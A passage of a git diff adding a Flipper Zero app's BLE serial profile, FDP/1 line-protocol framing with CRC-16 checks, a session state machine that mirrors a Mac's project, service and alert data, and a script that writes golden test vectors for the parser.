f"{payload}*{crc16(payload.encode()):04X}" + +assert crc16(b"123456789") == 0x29B1 + +ok = [ + "HELLO|1|0a1b2c3d|Studio|182|1790000000", + "HI|1|0.1.0|0|5eed0001", + "SNAP|3|12", + "SUM|1|4|3|1", + "PRJ|p1abcde|flipdeck|main|c|0|0|3000|r|0", + "PRJ|p2abcde|interlockd|feature/x|d|2|-|0|-|1", + "SVC|s0a1b2c|Vite|5173|flipdeck|1789997720", + "AGT|g0a1b2c|Claude Code|flipdeck|r|1789990000", + "ATN|t00a1b2|e|flipdeck|Production deploy failed", + "EVT|e00a1b2|s|23:42|flipdeck|Production deployment is live", + "ACT|s0a1b2c|a0zz9k1|STOP|dc|", + "ACT|p1abcde|a0000z1|OPEN||", + "END|3", + "MAC|Studio|25|70|81|1|1|1789000000", + "ALR|t00a1b2|e|flipdeck|Production deploy failed|Type error in app/page.tsx", + "RES|12|1|Opened in Cursor", + "REQ|12|a0zz9k1|3", + "PING|3|1790000005", + "PONG|3", + "SYNC|0", + "SEEN|t00a1b2", + "BYE|quit", + "FUTURE|unknown|types|still|decode", +] + +bad = [ + ("badChecksum", "PING|3|1790000005*0000"), + ("malformed", "PING|3|1790000005"), + ("malformed", "PING|3*12G4"), + ("malformed", frame("ping|1")), + ("malformed", frame("")), + ("malformed", "PING|1*ABC"), + ("malformed", "PING|1*+123"), + ("malformed", frame("TOOLONGTYPE|1")), + ("malformed", frame("P1NG|1")), + ("nonPrintable", "PING|\t1*0000"), + ("tooLong", frame("EVT|" + "x" * 240)), +] + +lines = [ + "# FDP/1 golden vectors. Generated by scripts/gen_protocol_vectors.py; do not edit by hand.", + "# OK must decode, and re-encode to exactly the same bytes", + "# BAD must be rejected with that reason", +] +lines += [f"OK {frame(p)}" for p in ok] +lines += [f"BAD {reason} {line}" for reason, line in bad] +out = pathlib.Path(__file__).resolve().parents[1] / "docs" / "protocol-vectors.txt" +out.write_text("\n".join(lines) + "\n") +print(f"wrote {out} ({len(ok)} ok, {len(bad)} bad)") diff --git a/src/fd_ble.c b/src/fd_ble.c new file mode 100644 index 0000000..4d2218a --- /dev/null +++ b/src/fd_ble.c @@ -0,0 +1,228 @@ +/** + * @file fd_ble.c + * @brief FlipDeck BLE profile and serial transport (see fd_ble.h). + */ +#include "fd_ble.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define TAG "FlipDeckBle" + +/** Receive buffer; also the flow-control credit advertised to the Mac. */ +#define FD_BLE_RX_BUFFER 1024 +#define FD_BLE_FLAG_SENT (1u << 0) +#define FD_BLE_SEND_TIMEOUT_MS 1000 +/** Pairing keys for the FlipDeck profile, kept apart from the phone app's. */ +#define FD_BLE_KEYS_PATH APP_DATA_PATH(".flipdeck.keys") +/** 16-bit Device Information Service UUID, which this profile really exposes. */ +#define FD_BLE_ADV_SERVICE_UUID 0x180A +#define FD_BLE_UUID_TYPE_16 0x01 +/** Generic Computer appearance. */ +#define FD_BLE_APPEARANCE 0x0080 + +typedef struct { + FuriHalBleProfileBase base; + BleServiceDevInfo* dev_info; + BleServiceBattery* battery; + BleServiceSerial* serial; +} FdBleProfile; + +struct FdBle { + Bt* bt; + FdBleProfile* profile; + FuriStreamBuffer* rx; + FuriEventFlag* flags; + volatile bool connected; + FdBleEventCallback on_rx; + FdBleEventCallback on_status; + void* context; +}; + +// --------------------------------------------------------------------------- +// Profile + +static const FuriHalBleProfileTemplate* const fd_ble_profile_template; + +static FuriHalBleProfileBase* fd_ble_profile_start(FuriHalBleProfileParams params) { + UNUSED(params); + FdBleProfile* profile = malloc(sizeof(FdBleProfile)); + profile->base.config = fd_ble_profile_template; + profile->dev_info = ble_svc_dev_info_start(); + profile->battery = ble_svc_battery_start(true); + profile->serial = ble_svc_serial_start(); + return &profile->base; +} + +static void fd_ble_profile_stop(FuriHalBleProfileBase* base) { + furi_check(base); + furi_check(base->config == fd_ble_profile_template); + FdBleProfile* profile = (FdBleProfile*)base; + ble_svc_serial_stop(profile->serial); + ble_svc_battery_stop(profile->battery); + ble_svc_dev_info_stop(profile->dev_info); + free(profile); +} + +static void fd_ble_profile_get_config(GapConfig* config, FuriHalBleProfileParams params) { + UNUSED(params); + furi_check(config); + memset(config, 0, sizeof(GapConfig)); + config->adv_service.UUID_Type = FD_BLE_UUID_TYPE_16; + config->adv_service.Service_UUID_16 = FD_BLE_ADV_SERVICE_UUID; + config->appearance_char = FD_BLE_APPEARANCE; + config->bonding_mode = true; + config->pairing_method = GapPairingPinCodeShow; + // Same connection parameters as the stock serial profile (7.5-45 ms). + config->conn_param.conn_int_min = 0x06; + config->conn_param.conn_int_max = 0x24; + config->conn_param.slave_latency = 0; + config->conn_param.supervisor_timeout = 0; + + // A distinct address from the stock (+0) and HID (+1) profiles, so the + // Mac's bond for FlipDeck never collides with other pairings. + memcpy(config->mac_address, furi_hal_version_get_ble_mac(), sizeof(config->mac_address)); + config->mac_address[2] += 2; + + // "\x09Flipper Name" (AD type prefix) -> "\x09FlipDeck Name"; the Mac + // looks for the "FlipDeck" prefix. + FuriString* name = furi_string_alloc_set(furi_hal_version_get_ble_local_device_name_ptr()); + furi_string_replace_str(name, "Flipper", "FlipDeck", 0); + if(furi_string_size(name) >= sizeof(config->adv_name)) { + furi_string_left(name, sizeof(config->adv_name) - 1); + } + memcpy(config->adv_name, furi_string_get_cstr(name), furi_string_size(name)); + furi_string_free(name); +} + +static const FuriHalBleProfileTemplate fd_ble_profile_callbacks = { + .start = fd_ble_profile_start, + .stop = fd_ble_profile_stop, + .get_gap_config = fd_ble_profile_get_config, +}; + +static const FuriHalBleProfileTemplate* const fd_ble_profile_template = &fd_ble_profile_callbacks; + +// --------------------------------------------------------------------------- +// Serial service callbacks (BT thread) + +static uint16_t fd_ble_serial_callback(SerialServiceEvent event, void* context) { + FdBle* ble = context; + if(event.event == SerialServiceEventTypeDataReceived) { + size_t accepted = furi_stream_buffer_send(ble->rx, event.data.buffer, event.data.size, 0); + if(accepted < event.data.size) { + // Can't happen while the Mac respects the credit; the protocol + // recovers (CRC failure -> SYNC) if it does. + FURI_LOG_W(TAG, "RX overflow: dropped %u bytes", (unsigned)(event.data.size - accepted)); + } + if(ble->on_rx) ble->on_rx(ble->context); + return (uint16_t)furi_stream_buffer_spaces_available(ble->rx); + } + if(event.event == SerialServiceEventTypeDataSent) { + furi_event_flag_set(ble->flags, FD_BLE_FLAG_SENT); + } + return 0; +} + +static void fd_ble_status_callback(BtStatus status, void* context) { + FdBle* ble = context; + bool connected = status == BtStatusConnected; + if(connected && ble->profile) { + // Fresh credit for every connection (a previous one may have ended + // mid-transfer with the credit partly used). + ble_svc_serial_set_callbacks(ble->profile->serial, FD_BLE_RX_BUFFER, fd_ble_serial_callback, ble); + } + if(connected != ble->connected) { + ble->connected = connected; + if(ble->on_status) ble->on_status(ble->context); + } +} + +// --------------------------------------------------------------------------- +// Public API + +FdBle* fd_ble_alloc(FdBleEventCallback on_rx, FdBleEventCallback on_status, void* context) { + FdBle* ble = malloc(sizeof(FdBle)); + memset(ble, 0, sizeof(FdBle)); + ble->on_rx = on_rx; + ble->on_status = on_status; + ble->context = context; + ble->rx = furi_stream_buffer_alloc(FD_BLE_RX_BUFFER, 1); + ble->flags = furi_event_flag_alloc(); + ble->bt = furi_record_open(RECORD_BT); + + // Same sequence as the firmware's own HID app. + bt_disconnect(ble->bt); + furi_delay_ms(200); + bt_keys_storage_set_storage_path(ble->bt, FD_BLE_KEYS_PATH); + ble->profile = (FdBleProfile*)bt_profile_start(ble->bt, fd_ble_profile_template, NULL); + furi_check(ble->profile, "Couldn't start the FlipDeck BLE profile"); + ble_svc_serial_set_callbacks(ble->profile->serial, FD_BLE_RX_BUFFER, fd_ble_serial_callback, ble); + bt_set_status_changed_callback(ble->bt, fd_ble_status_callback, ble); + furi_hal_bt_start_advertising(); + FURI_LOG_I(TAG, "Advertising"); + return ble; +} + +void fd_ble_free(FdBle* ble) { + bt_set_status_changed_callback(ble->bt, NULL, NULL); + ble_svc_serial_set_callbacks(ble->profile->serial, 0, NULL, NULL); + bt_disconnect(ble->bt); + furi_delay_ms(200); + bt_keys_storage_set_default_path(ble->bt); + // Stops our profile (fd_ble_profile_stop frees it) and restores the + // stock one, so the phone app works again after FlipDeck exits. + furi_check(bt_profile_restore_default(ble->bt)); + furi_record_close(RECORD_BT); + furi_event_flag_free(ble->flags); + furi_stream_buffer_free(ble->rx); + free(ble); +} + +bool fd_ble_is_connected(FdBle* ble) { + return ble->connected; +} + +size_t fd_ble_read(FdBle* ble, uint8_t* buffer, size_t capacity) { + return furi_stream_buffer_receive(ble->rx, buffer, capacity, 0); +} + +void fd_ble_discard(FdBle* ble) { + uint8_t scratch[64]; + while(furi_stream_buffer_receive(ble->rx, scratch, sizeof(scratch), 0) > 0) { + } +} + +void fd_ble_rx_drained(FdBle* ble) { + if(ble->profile) ble_svc_serial_notify_buffer_is_empty(ble->profile->serial); +} + +bool fd_ble_send(FdBle* ble, const uint8_t* data, size_t len, uint16_t chunk) { + if(!ble->connected || !ble->profile) return false; + if(chunk == 0) chunk = 20; + if(chunk > BLE_SVC_SERIAL_CHAR_VALUE_LEN_MAX) chunk = BLE_SVC_SERIAL_CHAR_VALUE_LEN_MAX; + while(len > 0) { + uint16_t n = (uint16_t)(len < chunk ? len : chunk); + furi_event_flag_clear(ble->flags, FD_BLE_FLAG_SENT); + if(!ble_svc_serial_update_tx(ble->profile->serial, (uint8_t*)data, n)) { + FURI_LOG_W(TAG, "TX failed"); + return false; + } + // Wait for the Mac to confirm the indication before sending more. + uint32_t flags = furi_event_flag_wait(ble->flags, FD_BLE_FLAG_SENT, FuriFlagWaitAny, FD_BLE_SEND_TIMEOUT_MS); + if(flags & FuriFlagError) { + FURI_LOG_W(TAG, "TX not confirmed"); + return false; + } + data += n; + len -= n; + } + return true; +} diff --git a/src/fd_ble.h b/src/fd_ble.h new file mode 100644 index 0000000..a9e4bd4 --- /dev/null +++ b/src/fd_ble.h @@ -0,0 +1,47 @@ +/** + * @file fd_ble.h + * @brief Byte-stream transport to the Mac over BLE. + * + * FlipDeck runs its own BLE profile (serial GATT service + device info + + * battery) instead of the stock serial profile, because the BT service takes + * over the stock profile for RPC on every connection. See ARCHITECTURE.md. + */ +#pragma once + +#include +#include +#include + +typedef struct FdBle FdBle; + +/** Called from the BT thread; must be quick (post to a queue). */ +typedef void (*FdBleEventCallback)(void* context); + +/** + * Starts the FlipDeck profile and advertising. `on_rx` fires when bytes + * arrive, `on_status` when the connection state changes. + */ +FdBle* fd_ble_alloc(FdBleEventCallback on_rx, FdBleEventCallback on_status, void* context); + +/** Disconnects and restores the default BT profile and pairing keys. */ +void fd_ble_free(FdBle* ble); + +bool fd_ble_is_connected(FdBle* ble); + +/** Non-blocking read of received bytes. */ +size_t fd_ble_read(FdBle* ble, uint8_t* buffer, size_t capacity); + +/** Discards everything buffered (on a new connection). */ +void fd_ble_discard(FdBle* ble); + +/** + * Call after `fd_ble_read` has fully drained the buffer: re-arms the Mac's + * flow-control credit. + */ +void fd_ble_rx_drained(FdBle* ble); + +/** + * Sends `len` bytes as indications of at most `chunk` bytes each, waiting + * for each to be confirmed. Blocks for at most ~1 s per chunk. + */ +bool fd_ble_send(FdBle* ble, const uint8_t* data, size_t len, uint16_t chunk); diff --git a/src/fd_proto.c b/src/fd_proto.c new file mode 100644 index 0000000..5f3d044 --- /dev/null +++ b/src/fd_proto.c @@ -0,0 +1,189 @@ +/** + * @file fd_proto.c + * @brief FDP/1 framing (see fd_proto.h, docs/protocol.md). + */ +#include "fd_proto.h" + +#include + +uint16_t fd_crc16(const uint8_t* data, size_t len) { + uint16_t crc = 0xFFFF; + for(size_t i = 0; i < len; i++) { + crc ^= (uint16_t)((uint16_t)data[i] << 8); + for(int bit = 0; bit < 8; bit++) { + if(crc & 0x8000) { + crc = (uint16_t)((crc << 1) ^ 0x1021); + } else { + crc = (uint16_t)(crc << 1); + } + } + } + return crc; +} + +static int fd_hex_value(char c) { + if(c >= '0' && c <= '9') return c - '0'; + if(c >= 'A' && c <= 'F') return c - 'A' + 10; + if(c >= 'a' && c <= 'f') return c - 'a' + 10; + return -1; +} + +FdParseResult fd_proto_parse(char* line, size_t len, FdFrame* out) { + memset(out, 0, sizeof(*out)); + + // Drop '\r' in place (protocol says it is ignored). + size_t write = 0; + for(size_t read = 0; read < len; read++) { + if(line[read] != '\r') line[write++] = line[read]; + } + len = write; + line[len] = '\0'; + + if(len + 1 > FD_FRAME_MAX) return FdParseTooLong; + for(size_t i = 0; i < len; i++) { + unsigned char c = (unsigned char)line[i]; + if(c < 0x20 || c > 0x7E) return FdParseNonPrintable; + } + + // The CRC delimiter is the last '*', followed by exactly 4 hex digits. + char* star = strrchr(line, '*'); + if(!star || (size_t)(line + len - star) != 5) return FdParseMalformed; + uint16_t expected = 0; + for(int i = 1; i <= 4; i++) { + int value = fd_hex_value(star[i]); + if(value < 0) return FdParseMalformed; + expected = (uint16_t)((expected << 4) | (uint16_t)value); + } + size_t payload_len = (size_t)(star - line); + if(fd_crc16((const uint8_t*)line, payload_len) != expected) return FdParseBadChecksum; + *star = '\0'; + + // Type: 1..7 uppercase ASCII letters. + char* cursor = line; + char* bar = strchr(cursor, '|'); + size_t type_len = bar ? (size_t)(bar - cursor) : strlen(cursor); + if(type_len == 0 || type_len >= FD_TYPE_MAX) return FdParseMalformed; + for(size_t i = 0; i < type_len; i++) { + if(cursor[i] < 'A' || cursor[i] > 'Z') return FdParseMalformed; + } + memcpy(out->type, cursor, type_len); + out->type[type_len] = '\0'; + + // Fields beyond FD_MAX_FIELDS are ignored (forward compatibility). + while(bar && out->count < FD_MAX_FIELDS) { + *bar = '\0'; + cursor = bar + 1; + out->fields[out->count++] = cursor; + bar = strchr(cursor, '|'); + } + if(bar) *bar = '\0'; + return FdParseOk; +} + +const char* fd_frame_field(const FdFrame* frame, uint8_t index) { + return index < frame->count ? frame->fields[index] : ""; +} + +size_t fd_proto_encode(char* out, size_t cap, const char* type, const char* const* fields, size_t count) { + size_t limit = cap < FD_FRAME_MAX + 1 ? cap : FD_FRAME_MAX + 1; + size_t len = 0; + +#define FD_APPEND(ptr, n) \ + do { \ + if(len + (n) + 1 > limit) return 0; \ + memcpy(out + len, (ptr), (n)); \ + len += (n); \ + } while(0) + + FD_APPEND(type, strlen(type)); + for(size_t i = 0; i < count; i++) { + FD_APPEND("|", 1); + const char* field = fields[i] ? fields[i] : ""; + // Fields must not contain separators; replace them defensively. + size_t field_len = strlen(field); + if(len + field_len + 1 > limit) return 0; + for(size_t j = 0; j < field_len; j++) { + char c = field[j]; + if(c == '|') c = '/'; + else if(c == '*') c = '+'; + else if((unsigned char)c < 0x20 || (unsigned char)c > 0x7E) c = '?'; + out[len++] = c; + } + } + uint16_t crc = fd_crc16((const uint8_t*)out, len); + static const char hex[] = "0123456789ABCDEF"; + char tail[6] = {'*', hex[(crc >> 12) & 0xF], hex[(crc >> 8) & 0xF], hex[(crc >> 4) & 0xF], hex[crc & 0xF], '\n'}; + FD_APPEND(tail, sizeof(tail)); +#undef FD_APPEND + out[len] = '\0'; + return len; +} + +const char* fd_parse_result_name(FdParseResult result) { + switch(result) { + case FdParseOk: + return "ok"; + case FdParseTooLong: + return "tooLong"; + case FdParseBadChecksum: + return "badChecksum"; + case FdParseNonPrintable: + return "nonPrintable"; + case FdParseMalformed: + return "malformed"; + } + return "unknown"; +} + +void fd_line_reset(FdLineReader* reader) { + reader->len = 0; + reader->discarding = false; + reader->buf[0] = '\0'; +} + +FdLineEvent fd_line_feed(FdLineReader* reader, uint8_t byte) { + if(byte == '\n') { + if(reader->discarding) { + reader->discarding = false; + reader->len = 0; + return FdLineNone; + } + if(reader->len == 0) return FdLineNone; + reader->buf[reader->len] = '\0'; + return FdLineReady; + } + if(reader->discarding) return FdLineNone; + reader->buf[reader->len++] = (char)byte; + if(reader->len >= FD_FRAME_MAX) { + reader->len = 0; + reader->discarding = true; + return FdLineOverflow; + } + return FdLineNone; +} + +void fd_line_consumed(FdLineReader* reader) { + reader->len = 0; + reader->buf[0] = '\0'; +} + +uint32_t fd_parse_u32(const char* text, uint32_t fallback) { + if(!text || !*text) return fallback; + uint32_t value = 0; + for(const char* p = text; *p; p++) { + if(*p < '0' || *p > '9') return fallback; + uint32_t next = value * 10u + (uint32_t)(*p - '0'); + if(next < value) return fallback; // overflow + value = next; + } + return value; +} + +void fd_copy(char* dst, size_t cap, const char* src) { + if(cap == 0) return; + size_t i = 0; + if(src) { + for(; i + 1 < cap && src[i]; i++) dst[i] = src[i]; + } + dst[i] = '\0'; +} diff --git a/src/fd_proto.h b/src/fd_proto.h new file mode 100644 index 0000000..a94857d --- /dev/null +++ b/src/fd_proto.h @@ -0,0 +1,81 @@ +/** + * @file fd_proto.h + * @brief FDP/1 framing: `TYPE|f1|...|fN*CCCC\n` (see docs/protocol.md). + * + * No SDK dependencies, so it is unit-tested on the host (src/tests/host). + */ +#pragma once + +#include +#include +#include + +#define FD_PROTO_VERSION 1 +/** Maximum frame length in bytes, including the trailing '\n'. */ +#define FD_FRAME_MAX 240 +#define FD_MAX_FIELDS 12 +#define FD_TYPE_MAX 8 + +typedef struct { + char type[FD_TYPE_MAX]; + /** Point into the parsed line buffer, which must outlive the frame. */ + const char* fields[FD_MAX_FIELDS]; + uint8_t count; +} FdFrame; + +typedef enum { + FdParseOk, + FdParseTooLong, + FdParseBadChecksum, + FdParseNonPrintable, + FdParseMalformed, +} FdParseResult; + +/** CRC-16/CCITT-FALSE (poly 0x1021, init 0xFFFF, no reflection, xorout 0). */ +uint16_t fd_crc16(const uint8_t* data, size_t len); + +/** + * Parses one line (without '\n') in place: '|' separators are replaced by + * NULs and `out->fields` point into `line`. `line` must have room for a + * terminating NUL at `line[len]`. + */ +FdParseResult fd_proto_parse(char* line, size_t len, FdFrame* out); + +/** Field accessor that returns "" for missing fields. */ +const char* fd_frame_field(const FdFrame* frame, uint8_t index); + +/** + * Encodes a frame into `out` (including '\n', NUL-terminated). + * @return frame length in bytes excluding the NUL, or 0 if it doesn't fit + * in `cap` or FD_FRAME_MAX. + */ +size_t fd_proto_encode(char* out, size_t cap, const char* type, const char* const* fields, size_t count); + +const char* fd_parse_result_name(FdParseResult result); + +/** Reassembles lines from an arbitrarily chunked byte stream. */ +typedef struct { + char buf[FD_FRAME_MAX + 1]; + size_t len; + /** After an overlong line, drop bytes until the next '\n'. */ + bool discarding; +} FdLineReader; + +typedef enum { + FdLineNone, + /** A complete line is in `buf` (NUL-terminated, `len` bytes). */ + FdLineReady, + /** The current line exceeded FD_FRAME_MAX and is being discarded. */ + FdLineOverflow, +} FdLineEvent; + +void fd_line_reset(FdLineReader* reader); +FdLineEvent fd_line_feed(FdLineReader* reader, uint8_t byte); +/** Call after handling an FdLineReady line. */ +void fd_line_consumed(FdLineReader* reader); + +/** Parses an unsigned decimal field; returns `fallback` for "-", "" or junk. */ +uint32_t fd_parse_u32(const char* text, uint32_t fallback); + +/** Bounded copy that always NUL-terminates. */ +void fd_copy(char* dst, size_t cap, const char* src); diff --git a/src/fd_state.c b/src/fd_state.c new file mode 100644 index 0000000..eef182c --- /dev/null +++ b/src/fd_state.c @@ -0,0 +1,353 @@ +/** + * @file fd_state.c + * @brief FDP/1 session rules on the Flipper side (see fd_state.h). + */ +#include "fd_state.h" + +#include +#include + +#ifndef FD_APP_VERSION +#define FD_APP_VERSION "0.1.0" +#endif + +static void fd_outbox_frame(FdOutbox* out, const char* type, const char* const* fields, size_t count) { + if(!out) return; + size_t written = fd_proto_encode(out->data + out->len, sizeof(out->data) - out->len, type, fields, count); + out->len += written; +} + +void fd_state_init(FdState* state, uint32_t nonce) { + memset(state, 0, sizeof(*state)); + snprintf(state->nonce, sizeof(state->nonce), "%08lx", (unsigned long)nonce); + state->next_req = 1; + state->mtu = 20; + state->link = FdLinkOffline; +} + +void fd_state_link_up(FdState* state, uint32_t now) { + state->link = FdLinkConnecting; + state->last_rx_tick = now; + state->mac_quit = false; + state->staging_active = false; +} + +void fd_state_link_down(FdState* state) { + state->link = FdLinkOffline; + state->staging_active = false; + state->mtu = 20; + if(state->request == FdRequestPending) { + state->request = FdRequestDone; + state->result_ok = false; + fd_copy(state->result, sizeof(state->result), "Disconnected"); + } +} + +static char fd_first_char(const char* text, char fallback) { + return (text && text[0]) ? text[0] : fallback; +} + +static bool fd_stage_record(FdModel* model, const FdFrame* frame) { + const char* type = frame->type; +#define F(i) fd_frame_field(frame, (i)) + if(strcmp(type, "SUM") == 0) { + model->summary.attention = (uint16_t)fd_parse_u32(F(0), 0); + model->summary.projects = (uint16_t)fd_parse_u32(F(1), 0); + model->summary.services = (uint16_t)fd_parse_u32(F(2), 0); + model->summary.agents = (uint16_t)fd_parse_u32(F(3), 0); + } else if(strcmp(type, "PRJ") == 0) { + if(frame->count < 9 || model->project_count >= FD_MAX_PROJECTS) return true; + FdProject* p = &model->projects[model->project_count++]; + fd_copy(p->id, sizeof(p->id), F(0)); + fd_copy(p->name, sizeof(p->name), F(1)); + fd_copy(p->branch, sizeof(p->branch), F(2)); + p->git = fd_first_char(F(3), '-'); + p->ahead = fd_parse_u32(F(4), FD_NO_VALUE); + p->behind = fd_parse_u32(F(5), FD_NO_VALUE); + p->port = (uint16_t)fd_parse_u32(F(6), 0); + p->deploy = fd_first_char(F(7), '-'); + p->attention = F(8)[0] == '1'; + } else if(strcmp(type, "SVC") == 0) { + if(frame->count < 5 || model->service_count >= FD_MAX_SERVICES) return true; + FdService* s = &model->services[model->service_count++]; + fd_copy(s->id, sizeof(s->id), F(0)); + fd_copy(s->name, sizeof(s->name), F(1)); + s->port = (uint16_t)fd_parse_u32(F(2), 0); + fd_copy(s->project, sizeof(s->project), F(3)); + s->started = fd_parse_u32(F(4), FD_NO_VALUE); + } else if(strcmp(type, "AGT") == 0) { + if(frame->count < 5 || model->agent_count >= FD_MAX_AGENTS) return true; + FdAgent* a = &model->agents[model->agent_count++]; + fd_copy(a->id, sizeof(a->id), F(0)); + fd_copy(a->provider, sizeof(a->provider), F(1)); + fd_copy(a->project, sizeof(a->project), F(2)); + a->state = fd_first_char(F(3), 'r'); + a->started = fd_parse_u32(F(4), FD_NO_VALUE); + } else if(strcmp(type, "ATN") == 0) { + if(frame->count < 4 || model->attention_count >= FD_MAX_ATTENTION) return true; + FdAttention* t = &model->attention[model->attention_count++]; + fd_copy(t->id, sizeof(t->id), F(0)); + t->severity = fd_first_char(F(1), 'i'); + fd_copy(t->project, sizeof(t->project), F(2)); + fd_copy(t->title, sizeof(t->title), F(3)); + } else if(strcmp(type, "EVT") == 0) { + if(frame->count < 5 || model->event_count >= FD_MAX_EVENTS) return true; + FdEvent* e = &model->events[model->event_count++]; + fd_copy(e->id, sizeof(e->id), F(0)); + e->severity = fd_first_char(F(1), 'i'); + fd_copy(e->time, sizeof(e->time), F(2)); + fd_copy(e->project, sizeof(e->project), F(3)); + fd_copy(e->title, sizeof(e->title), F(4)); + } else if(strcmp(type, "ACT") == 0) { + if(frame->count < 4 || model->action_count >= FD_MAX_ACTIONS) return true; + FdAction* a = &model->actions[model->action_count++]; + fd_copy(a->owner, sizeof(a->owner), F(0)); + fd_copy(a->id, sizeof(a->id), F(1)); + fd_copy(a->kind, sizeof(a->kind), F(2)); + a->destructive = strchr(F(3), 'd') != NULL; + a->confirm = strchr(F(3), 'c') != NULL; + fd_copy(a->label, sizeof(a->label), F(4)); + } else { + return false; + } +#undef F + return true; +} + +static bool fd_is_record(const char* type) { + return strcmp(type, "SUM") == 0 || strcmp(type, "PRJ") == 0 || strcmp(type, "SVC") == 0 || + strcmp(type, "AGT") == 0 || strcmp(type, "ATN") == 0 || strcmp(type, "EVT") == 0 || + strcmp(type, "ACT") == 0; +} + +static void fd_send_sync(FdState* state, FdOutbox* out) { + char gen[12]; + snprintf(gen, sizeof(gen), "%lu", (unsigned long)state->committed_gen); + const char* fields[] = {gen}; + fd_outbox_frame(out, "SYNC", fields, 1); +} + +static void fd_abort_staging(FdState* state, FdOutbox* out) { + if(!state->staging_active) return; + state->staging_active = false; + fd_send_sync(state, out); +} + +static bool fd_alert_seen_before(FdState* state, const char* id) { + for(size_t i = 0; i < FD_SEEN_ALERTS; i++) { + if(state->seen_alerts[i][0] && strcmp(state->seen_alerts[i], id) == 0) return true; + } + fd_copy(state->seen_alerts[state->seen_alert_next], FD_ID_LEN, id); + state->seen_alert_next = (uint8_t)((state->seen_alert_next + 1) % FD_SEEN_ALERTS); + return false; +} + +uint32_t fd_state_apply(FdState* state, const FdFrame* frame, uint32_t now, FdOutbox* out) { + const char* type = frame->type; + state->last_rx_tick = now; + + if(strcmp(type, "HELLO") == 0) { + state->peer_proto = fd_parse_u32(fd_frame_field(frame, 0), 0); + fd_copy(state->mac_host, sizeof(state->mac_host), fd_frame_field(frame, 2)); + uint32_t mtu = fd_parse_u32(fd_frame_field(frame, 3), 20); + state->mtu = (uint16_t)(mtu < 20 ? 20 : (mtu > 243 ? 243 : mtu)); + state->mac_time = fd_parse_u32(fd_frame_field(frame, 4), 0); + state->mac_time_tick = now; + state->staging_active = false; + state->mac_quit = false; + state->link = state->peer_proto == FD_PROTO_VERSION ? FdLinkReady : FdLinkIncompatible; + if(state->link == FdLinkReady) state->ever_connected = true; + + char proto[4]; + char gen[12]; + snprintf(proto, sizeof(proto), "%d", FD_PROTO_VERSION); + snprintf(gen, sizeof(gen), "%lu", (unsigned long)state->committed_gen); + const char* fields[] = {proto, FD_APP_VERSION, gen, state->nonce}; + fd_outbox_frame(out, "HI", fields, 4); + return FdChangeRedraw; + } + + // Until a compatible HELLO, nothing else is meaningful. + if(state->link != FdLinkReady) return FdChangeNone; + + if(strcmp(type, "SNAP") == 0) { + memset(&state->staging, 0, sizeof(state->staging)); + state->staging_active = true; + state->staging_gen = fd_parse_u32(fd_frame_field(frame, 0), 0); + state->staging_expected = fd_parse_u32(fd_frame_field(frame, 1), 0); + state->staging_received = 0; + return FdChangeNone; + } + if(fd_is_record(type)) { + if(!state->staging_active) return FdChangeNone; // stray record: ignore + state->staging_received++; + fd_stage_record(&state->staging, frame); + return FdChangeNone; + } + if(strcmp(type, "END") == 0) { + uint32_t gen = fd_parse_u32(fd_frame_field(frame, 0), 0); + if(state->staging_active && gen == state->staging_gen && + state->staging_received == state->staging_expected) { + memcpy(&state->committed, &state->staging, sizeof(state->committed)); + state->committed_gen = gen; + state->has_data = true; + state->staging_active = false; + return FdChangeRedraw | FdChangeCommitted; + } + state->staging_active = true; // so fd_abort_staging sends SYNC + fd_abort_staging(state, out); + return FdChangeNone; + } + if(strcmp(type, "PING") == 0) { + state->mac_time = fd_parse_u32(fd_frame_field(frame, 1), state->mac_time); + state->mac_time_tick = now; + char gen[12]; + snprintf(gen, sizeof(gen), "%lu", (unsigned long)state->committed_gen); + const char* fields[] = {gen}; + fd_outbox_frame(out, "PONG", fields, 1); + return FdChangeRedraw; + } + if(strcmp(type, "MAC") == 0) { + FdMachine* m = &state->machine; + fd_copy(m->host, sizeof(m->host), fd_frame_field(frame, 0)); + m->cpu = fd_parse_u32(fd_frame_field(frame, 1), FD_NO_VALUE); + m->mem = fd_parse_u32(fd_frame_field(frame, 2), FD_NO_VALUE); + m->battery = fd_parse_u32(fd_frame_field(frame, 3), FD_NO_VALUE); + m->charging = fd_first_char(fd_frame_field(frame, 4), '-'); + m->network = fd_first_char(fd_frame_field(frame, 5), '-'); + m->boot = fd_parse_u32(fd_frame_field(frame, 6), FD_NO_VALUE); + state->has_machine = true; + return FdChangeRedraw; + } + if(strcmp(type, "ALR") == 0) { + const char* id = fd_frame_field(frame, 0); + if(!id[0] || fd_alert_seen_before(state, id)) return FdChangeNone; + FdAlert* alert = &state->alert; + fd_copy(alert->id, sizeof(alert->id), id); + alert->severity = fd_first_char(fd_frame_field(frame, 1), 'i'); + fd_copy(alert->project, sizeof(alert->project), fd_frame_field(frame, 2)); + fd_copy(alert->title, sizeof(alert->title), fd_frame_field(frame, 3)); + fd_copy(alert->message, sizeof(alert->message), fd_frame_field(frame, 4)); + state->alert_visible = true; + return FdChangeRedraw | FdChangeAlert; + } + if(strcmp(type, "RES") == 0) { + uint32_t req = fd_parse_u32(fd_frame_field(frame, 0), 0); + if(state->request != FdRequestPending || req != state->request_id) return FdChangeNone; + state->request = FdRequestDone; + state->result_ok = fd_frame_field(frame, 1)[0] == '1'; + fd_copy(state->result, sizeof(state->result), fd_frame_field(frame, 2)); + return FdChangeRedraw | FdChangeResult; + } + if(strcmp(type, "BYE") == 0) { + state->mac_quit = true; + return FdChangeRedraw; + } + return FdChangeNone; // unknown types are ignored (forward compatibility) +} + +uint32_t fd_state_receive(FdState* state, FdLineReader* reader, const uint8_t* data, size_t len, uint32_t now, FdOutbox* out) { + uint32_t changes = FdChangeNone; + for(size_t i = 0; i < len; i++) { + FdLineEvent event = fd_line_feed(reader, data[i]); + if(event == FdLineOverflow) { + state->frames_bad++; + fd_abort_staging(state, out); + } else if(event == FdLineReady) { + FdFrame frame; + if(fd_proto_parse(reader->buf, reader->len, &frame) == FdParseOk) { + state->frames_ok++; + changes |= fd_state_apply(state, &frame, now, out); + } else { + state->frames_bad++; + // A corrupt frame inside a snapshot means the snapshot is incomplete. + fd_abort_staging(state, out); + } + fd_line_consumed(reader); + } + } + return changes; +} + +uint32_t fd_state_tick(FdState* state, uint32_t now) { + if(state->request == FdRequestPending && now - state->request_tick > FD_ACTION_TIMEOUT_MS) { + state->request = FdRequestDone; + state->result_ok = false; + fd_copy(state->result, sizeof(state->result), "No response from Mac"); + return FdChangeRedraw | FdChangeResult; + } + return FdChangeNone; +} + +bool fd_state_is_stale(const FdState* state, uint32_t now) { + return state->link == FdLinkReady && now - 